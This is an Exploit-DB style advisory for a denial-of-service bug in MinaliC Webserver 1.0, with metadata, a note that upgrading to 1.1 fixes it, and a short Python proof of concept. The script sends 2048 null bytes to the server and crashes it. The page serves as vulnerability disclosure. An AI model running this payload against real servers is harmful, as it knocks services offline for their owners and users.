MinaliC Webserver 1.0 Denial Of Service

vendor:

Webserver

by:

John Leitch

7,5

CVSS

HIGH

Denial Of Service

400

CWE

Product Name: Webserver

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: N/A

CPE: minalic:webserver:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP

2010

MinaliC Webserver 1.0 Denial Of Service

Sending a request with a length greater than or equal to 2048 bytes causes the server to crash.

Mitigation:

Upgrade to version 1.1 or later.

Source

Exploit-DB raw data:

# ------------------------------------------------------------------------
# Software................MinaliC Webserver 1.0
# Vulnerability...........Denial Of Service
# Download................http://sourceforge.net/projects/minalic/
# Release Date............10/24/2010
# Tested On...............Windows XP
# ------------------------------------------------------------------------
# Author..................John Leitch
# Site....................http://www.johnleitch.net/
# Email...................john.leitch5@gmail.com
# ------------------------------------------------------------------------
# 
# --Description--
# 
# Sending a request with a length greater than or equal to 2048 bytes
# causes the server to crash.
# 
# 
# --PoC--

import socket

host = 'localhost'
port = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('\x00'*2048)